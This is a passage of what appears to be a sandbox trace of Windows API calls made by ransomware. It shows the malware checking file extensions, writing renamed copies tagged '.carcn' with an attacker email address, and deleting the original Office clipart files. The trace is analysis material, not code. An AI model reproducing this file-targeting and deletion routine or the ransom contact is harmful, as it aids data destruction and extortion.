(lpString=".jpg") returned 4 [0270.230] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0270.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0270.231] lstrlenW (lpString=".doc") returned 4 [0270.231] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.231] lstrlenW (lpString=".docx") returned 5 [0270.231] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.231] lstrlenW (lpString=".pdf") returned 4 [0270.231] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.231] lstrlenW (lpString=".xls") returned 4 [0270.231] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.231] lstrlenW (lpString=".xlsx") returned 5 [0270.231] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.231] lstrlenW (lpString=".ppt") returned 4 [0270.231] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0270.231] lstrlenW (lpString=".zip") returned 4 [0270.231] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.232] lstrlenW (lpString=".rar") returned 4 [0270.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.232] lstrlenW (lpString=".bz2") returned 4 [0270.232] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.232] lstrlenW (lpString=".7z") returned 3 [0270.232] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0270.232] lstrlenW (lpString=".dbf") returned 4 [0270.232] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0270.232] lstrlenW (lpString=".1cd") returned 4 [0270.232] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0270.232] lstrlenW (lpString=".jpg") returned 4 [0270.232] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.232] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0270.233] lstrlenW (lpString="BS01080_.WMF") returned 12 [0270.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0270.233] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=2732) returned 1 [0270.233] CloseHandle (hObject=0x540) returned 1 [0270.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x220 [0270.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0270.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0270.234] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.234] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0270.235] GetLastError () returned 0x0 [0270.235] ReadFile (in: hFile=0x540, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0xaac, lpOverlapped=0x0) returned 1 [0270.251] WriteFile (in: hFile=0x550, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xab0, lpOverlapped=0x0) returned 1 [0270.252] ReadFile (in: hFile=0x540, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0270.253] WriteFile (in: hFile=0x550, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0270.253] SetEndOfFile (hFile=0x550) returned 1 [0270.253] CloseHandle (hObject=0x550) returned 1 [0270.253] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.253] SetEndOfFile (hFile=0x540) returned 1 [0270.256] CloseHandle (hObject=0x540) returned 1 [0270.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0270.257] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 1 [0270.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0270.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0270.258] lstrlenW (lpString=".doc") returned 4 [0270.258] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.258] lstrlenW (lpString=".docx") returned 5 [0270.258] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.258] lstrlenW (lpString=".pdf") returned 4 [0270.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.258] lstrlenW (lpString=".xls") returned 4 [0270.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.258] lstrlenW (lpString=".xlsx") returned 5 [0270.258] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.258] lstrlenW (lpString=".ppt") returned 4 [0270.258] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0270.259] lstrlenW (lpString=".zip") returned 4 [0270.259] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.259] lstrlenW (lpString=".rar") returned 4 [0270.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.259] lstrlenW (lpString=".bz2") returned 4 [0270.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.259] lstrlenW (lpString=".7z") returned 3 [0270.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0270.259] lstrlenW (lpString=".dbf") returned 4 [0270.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0270.259] lstrlenW (lpString=".1cd") returned 4 [0270.259] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0270.259] lstrlenW (lpString=".jpg") returned 4 [0270.259] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0270.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0270.259] lstrlenW (lpString=".doc") returned 4 [0270.259] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.259] lstrlenW (lpString=".docx") returned 5 [0270.260] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.260] lstrlenW (lpString=".pdf") returned 4 [0270.260] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.260] lstrlenW (lpString=".xls") returned 4 [0270.260] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.260] lstrlenW (lpString=".xlsx") returned 5 [0270.260] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.260] lstrlenW (lpString=".ppt") returned 4 [0270.260] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0270.260] lstrlenW (lpString=".zip") returned 4 [0270.260] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.260] lstrlenW (lpString=".rar") returned 4 [0270.260] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.260] lstrlenW (lpString=".bz2") returned 4 [0270.260] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.260] lstrlenW (lpString=".7z") returned 3 [0270.260] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0270.260] lstrlenW (lpString=".dbf") returned 4 [0270.260] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0270.260] lstrlenW (lpString=".1cd") returned 4 [0270.260] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68 [0270.261] lstrlenW (lpString=".jpg") returned 4 [0270.261] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.261] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0270.261] lstrlenW (lpString="BS01603_.WMF") returned 12 [0270.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0270.364] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=7176) returned 1 [0270.364] CloseHandle (hObject=0x524) returned 1 [0270.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x220 [0270.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0270.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0270.366] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.366] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0270.367] GetLastError () returned 0x0 [0270.367] ReadFile (in: hFile=0x524, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x1c08, lpOverlapped=0x0) returned 1 [0270.373] WriteFile (in: hFile=0x554, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1c10, lpOverlapped=0x0) returned 1 [0270.375] ReadFile (in: hFile=0x524, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0270.375] WriteFile (in: hFile=0x554, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0270.375] SetEndOfFile (hFile=0x554) returned 1 [0270.375] CloseHandle (hObject=0x554) returned 1 [0270.375] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.375] SetEndOfFile (hFile=0x524) returned 1 [0270.379] CloseHandle (hObject=0x524) returned 1 [0270.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0270.379] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 1 [0270.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0270.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0270.380] lstrlenW (lpString=".doc") returned 4 [0270.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.380] lstrlenW (lpString=".docx") returned 5 [0270.380] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.380] lstrlenW (lpString=".pdf") returned 4 [0270.380] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.380] lstrlenW (lpString=".xls") returned 4 [0270.380] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.380] lstrlenW (lpString=".xlsx") returned 5 [0270.380] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.380] lstrlenW (lpString=".ppt") returned 4 [0270.380] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0270.380] lstrlenW (lpString=".zip") returned 4 [0270.380] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.380] lstrlenW (lpString=".rar") returned 4 [0270.380] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.380] lstrlenW (lpString=".bz2") returned 4 [0270.381] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.381] lstrlenW (lpString=".7z") returned 3 [0270.381] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0270.381] lstrlenW (lpString=".dbf") returned 4 [0270.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0270.381] lstrlenW (lpString=".1cd") returned 4 [0270.381] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0270.381] lstrlenW (lpString=".jpg") returned 4 [0270.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0270.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0270.381] lstrlenW (lpString=".doc") returned 4 [0270.381] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.381] lstrlenW (lpString=".docx") returned 5 [0270.381] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.381] lstrlenW (lpString=".pdf") returned 4 [0270.381] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.381] lstrlenW (lpString=".xls") returned 4 [0270.381] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.381] lstrlenW (lpString=".xlsx") returned 5 [0270.381] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.381] lstrlenW (lpString=".ppt") returned 4 [0270.381] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0270.381] lstrlenW (lpString=".zip") returned 4 [0270.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.382] lstrlenW (lpString=".rar") returned 4 [0270.382] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.382] lstrlenW (lpString=".bz2") returned 4 [0270.382] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.382] lstrlenW (lpString=".7z") returned 3 [0270.382] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0270.382] lstrlenW (lpString=".dbf") returned 4 [0270.382] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0270.382] lstrlenW (lpString=".1cd") returned 4 [0270.382] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68 [0270.382] lstrlenW (lpString=".jpg") returned 4 [0270.382] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.382] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0270.382] lstrlenW (lpString="BS01636_.WMF") returned 12 [0270.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0270.499] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=1874) returned 1 [0270.499] CloseHandle (hObject=0x530) returned 1 [0270.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x220 [0270.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0270.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0270.500] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.500] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0270.501] GetLastError () returned 0x0 [0270.501] ReadFile (in: hFile=0x530, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x752, lpOverlapped=0x0) returned 1 [0270.503] WriteFile (in: hFile=0x370, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x760, lpOverlapped=0x0) returned 1 [0270.504] ReadFile (in: hFile=0x530, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0270.504] WriteFile (in: hFile=0x370, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0270.504] SetEndOfFile (hFile=0x370) returned 1 [0270.505] CloseHandle (hObject=0x370) returned 1 [0270.505] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0270.505] SetEndOfFile (hFile=0x530) returned 1 [0270.508] CloseHandle (hObject=0x530) returned 1 [0270.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0270.509] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 1 [0270.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0270.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0270.510] lstrlenW (lpString=".doc") returned 4 [0270.510] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.510] lstrlenW (lpString=".docx") returned 5 [0270.510] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.510] lstrlenW (lpString=".pdf") returned 4 [0270.510] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.510] lstrlenW (lpString=".xls") returned 4 [0270.510] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.510] lstrlenW (lpString=".xlsx") returned 5 [0270.510] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.510] lstrlenW (lpString=".ppt") returned 4 [0270.510] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0270.510] lstrlenW (lpString=".zip") returned 4 [0270.510] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.510] lstrlenW (lpString=".rar") returned 4 [0270.510] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.510] lstrlenW (lpString=".bz2") returned 4 [0270.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.511] lstrlenW (lpString=".7z") returned 3 [0270.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0270.511] lstrlenW (lpString=".dbf") returned 4 [0270.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0270.511] lstrlenW (lpString=".1cd") returned 4 [0270.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0270.511] lstrlenW (lpString=".jpg") returned 4 [0270.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0270.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0270.511] lstrlenW (lpString=".doc") returned 4 [0270.511] lstrcmpiW (lpString1=".doc", 